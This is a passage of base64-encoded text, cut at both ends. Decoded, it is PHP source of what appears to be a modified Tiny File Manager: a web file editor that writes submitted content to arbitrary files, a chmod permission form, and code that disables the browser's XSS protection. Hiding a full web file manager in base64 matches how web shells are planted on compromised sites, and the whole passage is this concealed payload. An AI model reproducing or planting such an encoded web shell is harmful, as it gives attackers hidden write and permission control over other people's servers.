JyAuICRleHQ7DQogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXh0KSB8fCBpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwgZm1fZ2V0X3RleHRfbmFtZXMoKSkgfHwgcHJlZ19tYXRjaCgnI1wubWluXC4oY3NzfGpzKSQjaScsICRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3MgPSAnbm9oaWdobGlnaHQnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmUgY2xhc3M9IndpdGgtaGxqcyI+PGNvZGUgY2xhc3M9IicgLiAkaGxqc19jbGFzcyAuICciPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzwvY29kZT48L3ByZT4nOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgncGhwJywgJ3BocDQnLCAncGhwNScsICdwaHRtbCcsICdwaHBzJykpKSB7DQogICAgICAgICAgICAgICAgICAgIC8vIHBocCBoaWdobGlnaHQNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKCRjb250ZW50LCB0cnVlKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzwvcHJlPic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8P3BocA0KICAgICAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIGZpbGUgZWRpdG9yDQppZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOw0KICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSwgZmFsc2UpOw0KICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOw0KICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSB8fCBpbl9hcnJheSgkZmlsZSwgJEdMT0JBTFNbJ2V4Y2x1ZGVfaXRlbXMnXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgTWFuYSBGaWxlPz8nKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQogICAgJGVkaXRGaWxlID0gJyA6IDxpPjxiPicuICRmaWxlLiAnPC9iPjwvaT4nOw0KICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7DQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQoNCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsNCiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsNCg0KICAgIC8vIG5vcm1hbCBlZGl0ZXINCiAgICAkaXNOb3JtYWxFZGl0b3IgPSB0cnVlOw0KICAgIGlmIChpc3NldCgkX0dFVFsnZW52J10pKSB7DQogICAgICAgIGlmICgkX0dFVFsnZW52J10gPT0gImFjZSIpIHsNCiAgICAgICAgICAgICRpc05vcm1hbEVkaXRvciA9IGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gU2F2ZSBGaWxlDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZWRhdGEnXSkpIHsNCiAgICAgICAgJHdyaXRlZGF0YSA9ICRfUE9TVFsnc2F2ZWRhdGEnXTsNCiAgICAgICAgJGZkID0gZm9wZW4oJGZpbGVfcGF0aCwgInciKTsNCiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOw0KICAgICAgICBmY2xvc2UoJGZkKTsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpOw0KICAgIH0NCg0KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpOw0KICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpOw0KICAgICRpc190ZXh0ID0gZmFsc2U7DQogICAgJGNvbnRlbnQgPSAnJzsgLy8gZm9yIHRleHQNCg0KICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHsNCiAgICAgICAgJGlzX3RleHQgPSB0cnVlOw0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIH0NCg0KICAgID8+DQogICAgPGRpdiBjbGFzcz0icGF0aCI+DQogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTUgY29sLWxnLTYgcHQtMSI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLXRvb2xiYXIiIHJvbGU9InRvb2xiYXIiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGpzLWFjZS10b29sYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0iZnVsbHNjcmVlbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLWZ1bGxzY3JlZW4iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRnVsbHNjcmVlbicpID8+Ij48aSBjbGFzcz0iZmEgZmEtZXhwYW5kIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PiI+PC9pPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9ImZpbmQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjwvaT48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJ1bmRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtdW5kbyIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz4iPjxpIGNsYXNzPSJmYSBmYS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PC9pPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InJlZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1yZWRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXJlcGVhdCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz4iPjwvaT48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0id3JhcCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXdvcmRXcmFwIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC13aWR0aCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdXb3JkIFdyYXAnKSA/PiI+PC9pPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9ImpzLWFjZS1tb2RlIiBkYXRhLXR5cGU9Im1vZGUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1tZC1ibG9jayI+PG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IE1vZGUnKSA/PiAtLTwvb3B0aW9uPjwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9ImpzLWFjZS10aGVtZSIgZGF0YS10eXBlPSJ0aGVtZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgVGhlbWUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1sZy1ibG9jayI+PG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08L29wdGlvbj48L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJqcy1hY2UtZm9udFNpemUiIGRhdGEtdHlwZT0iZm9udFNpemUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IEZvbnQgU2l6ZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRm9udCBTaXplJykgPz4gLS08L29wdGlvbj48L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXQtZmlsZS1hY3Rpb25zIGNvbC14cy0xMiBjb2wtc20tNyBjb2wtbGctNiB0ZXh0LWVuZCBwdC0xIj4NCiAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO3ZpZXc9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtcmVwbHktYWxsIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48L2E+DQogICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpIj48aSBjbGFzcz0iZmEgZmEtZGF0YWJhc2UiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2tVcCcpID8+PC9hPg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzTm9ybWFsRWRpdG9yKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iQWR2YW5jZWQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7ZW52PWFjZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc3VjY2VzcyIgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCducmwnKSI+PGkgY2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IFNhdmUNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB9IGVsc2UgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IlBsYWluIEVkaXRvciIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1zdWNjZXNzIiBuYW1lPSJTYXZlIiBkYXRhLXVybD0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PiIgb25jbGljaz0iZWRpdF9zYXZlKHRoaXMsJ2FjZScpIj48aSBjbGFzcz0iZmEgZmEtZmxvcHB5LW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwDQogICAgICAgIGlmICgkaXNfdGV4dCAmJiAkaXNOb3JtYWxFZGl0b3IpIHsNCiAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0ibXQtMiIgaWQ9Im5vcm1hbC1lZGl0b3IiIHJvd3M9IjMzIiBjb2xzPSIxMjAiIHN0eWxlPSJ3aWR0aDogOTkuNSU7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC90ZXh0YXJlYT4nOw0KICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJrZXlkb3duIiwgZnVuY3Rpb24oZSkge2lmICgod2luZG93Lm5hdmlnYXRvci5wbGF0Zm9ybS5tYXRjaCgiTWFjIikgPyBlLm1ldGFLZXkgOiBlLmN0cmxLZXkpICAmJiBlLmtleUNvZGUgPT0gODMpIHsgZS5wcmV2ZW50RGVmYXVsdCgpO2VkaXRfc2F2ZSh0aGlzLCJucmwiKTt9fSwgZmFsc2UpOzwvc2NyaXB0Pic7DQogICAgICAgIH0gZWxzZWlmICgkaXNfdGV4dCkgew0KICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iZWRpdG9yIiBjb250ZW50ZWRpdGFibGU9InRydWUiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L2Rpdj4nOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJyksICdlcnJvcicpOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIGNobW9kIChub3QgZm9yIFdpbmRvd3MpDQppZiAoaXNzZXQoJF9HRVRbJ2NobW9kJ10pICYmICFGTV9SRUFET05MWSAmJiAhRk1fSVNfV0lOKSB7DQogICAgJGZpbGUgPSAkX0dFVFsnY2htb2QnXTsNCiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOw0KICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOw0KICAgIGlmICgkZmlsZSA9PSAnJyB8fCAoIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgTWFuYSBGaWxlPz8nKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQoNCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVINCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgNCg0KICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGU7DQogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7DQoNCiAgICAkbW9kZSA9IGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmaWxlKTsNCiAgICA/Pg0KICAgIDxkaXYgY2xhc3M9InBhdGgiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0NoYW5nZVBlcm1pc3Npb25zJykgPz4NCiAgICAgICAgICAgIDwvaDY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjYXJkLXRleHQiPg0KICAgICAgICAgICAgICAgICAgICBGdWxsIHBhdGg6IDw/cGhwIGVjaG8gJGZpbGVfcGF0aCA/Pjxicj4NCiAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGUpID8+Ij4NCg0KICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIGNvbXBhY3QtdGFibGUgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjwvYj48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnR3JvdXAnKSA/PjwvYj48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjwvYj48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnUmVhZCcpID8+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwNDAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDQwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDA0KSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdXcml0ZScpID8+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV3IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMjAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDIwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAyKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQoNCiAgICAgICAgICAgICAgICAgICAgPHA+DQogICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5Ij48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT48L2I+Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2hhbmdlJykgPz48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8P3BocA0KICAgIGZtX3Nob3dfZm9vdGVyKCk7DQogICAgZXhpdDsNCn0NCg0KLy8gLS0tIFRJTllGSUxFTUFOQUdFUiBNQUlOIC0tLQ0KZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQpmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgNCg0KLy8gc2hvdyBhbGVydCBtZXNzYWdlcw0KZm1fc2hvd19tZXNzYWdlKCk7DQoNCiRudW1fZmlsZXMgPSBjb3VudCgkZmlsZXMpOw0KJG51bV9mb2xkZXJzID0gY291bnQoJGZvbGRlcnMpOw0KJGFsbF9maWxlc19zaXplID0gMDsNCiR0YWJsZVRoZW1lID0gKEZNX1RIRU1FID09ICJkYXJrIikgPyAidGV4dC13aGl0ZSBiZy1kYXJrIHRhYmxlLWRhcmsiIDogImJnLXdoaXRlIjsNCj8+DQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBjbGFzcz0icHQtMyI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJncm91cCIgdmFsdWU9IjEiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4NCiAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4NCiAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ib3JkZXJlZCB0YWJsZS1ob3ZlciB0YWJsZS1zbSA8P3BocCBlY2hvICR0YWJsZVRoZW1lOyA/PiIgaWQ9Im1haW4tdGFibGUiPg0KICAgICAgICAgICAgPHRoZWFkIGNsYXNzPS